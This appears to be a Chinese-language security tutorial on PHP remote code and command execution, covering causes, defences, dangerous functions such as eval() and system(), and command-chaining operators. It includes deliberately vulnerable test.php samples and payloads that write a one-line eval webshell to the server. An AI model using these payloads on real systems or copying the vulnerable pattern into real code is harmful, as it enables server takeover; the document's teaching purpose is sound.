RCE为远程代码/命令执行的漏洞
漏洞产生的原因:
在Web应用中开发者为了灵活性,简洁性等会让应用去调用代码或者系统命令执行函数去处理。同时没有考虑用户是否可以控制这些函数的参数问题(若不能控制这些参数,自然也没有这个漏洞;若能控制这些参数,也可能出现考虑了但没有完全防住或者压根没考虑 ),以至于这个漏洞的产生。
产生原因
漏洞函数
可控参数
防护方法
- 敏感函数禁止
禁止不使用的函数,能禁止就禁止,不行就变量过滤或者固定。- 变量过滤或者固定
固定比起过滤要好,变量实在太多了,容易被绕过。- WAF产品
代码执行
PHP代码执行函数:eval()
、assert()
、preg_replace()
、create_function()
、array_map()
、call_user_func()
、call_user_func_array()
、array_filter()
、uasort()
1. 若代码执行函数的输入参数被``反引号包含时,则此时相当于系统执行函数, 如输入值为echo `dir`;
2. 由反引号括起来的字符串被当做shell命令执行,其标准输出结果取代整个反引号部分。
3. 反引号不区分操作系统,无论Window还是Linux都有这个现象。
eval()函数
eval() 函数把字符串按照 PHP 代码来计算,一般情况下不建议使用容易被黑客利用。
在windows服务器中创建test.php文件,代码如下
<?php
$code=$_GET['x'];
echo $code;
echo "</br>";
eval($code);
?>
访问test.php,将phpinfo();
传给参数x
输入echo 'dir';
,未用反应号包裹dir,并不会打印文件路径,而是直接输出了dir
输入echo `dir`,成功打印出文件路径
写入一句话木马x=$file=fopen("x.php","w") or die("false"); fwrite($file, "<?php @eval(\$_POST['cmd']);?>"); fclose($file);
写入成功,后续使用工具连接即可
命令执行
system()函数
system()是一个和操作系统紧密相关的函数,用户可以使用它在自己的程序中调用系统提供的各种命令
在windows服务器中创建test.php文件,代码如下
<?php
$code=$_GET['x'];
system($code);
?>
访问test.php,传入参数值x=dir,成功打印文件路径
写入一句话木马echo ^<?php @eval($_POST['cmd']);?^> > x.php
其中 ^ 的作用是转义 <
查看123.php文件内容,windows的查看命令是type,linux是cat
命令执行绕过
参考文章:
https://www.cnblogs.com/sfsec/p/15192819.html
https://www.cnblogs.com/pursue-security/p/15291426.html
https://blog.youkuaiyun.com/weixin_46962006/article/details/121828362
常见管道符
windows
- " | " 直接执行后面的语句(前面的语句是错是对无关紧要)
- " || " 如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
- " & " 两条命令都执行,前面的语句可真可假
- " && " 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真
Linux
-
"
;
" 执行完前面的语句再执行后面的语句
-
" | " 显示后面语句的执行结果(前面的语句无论对错)
- " || " 当前面的语句执行出错时,执行后面的语句
- " & " 两条命令都执行,前面的语句可真可假
- " && " 前面的语句为真才能执行两条命令,否则都不执行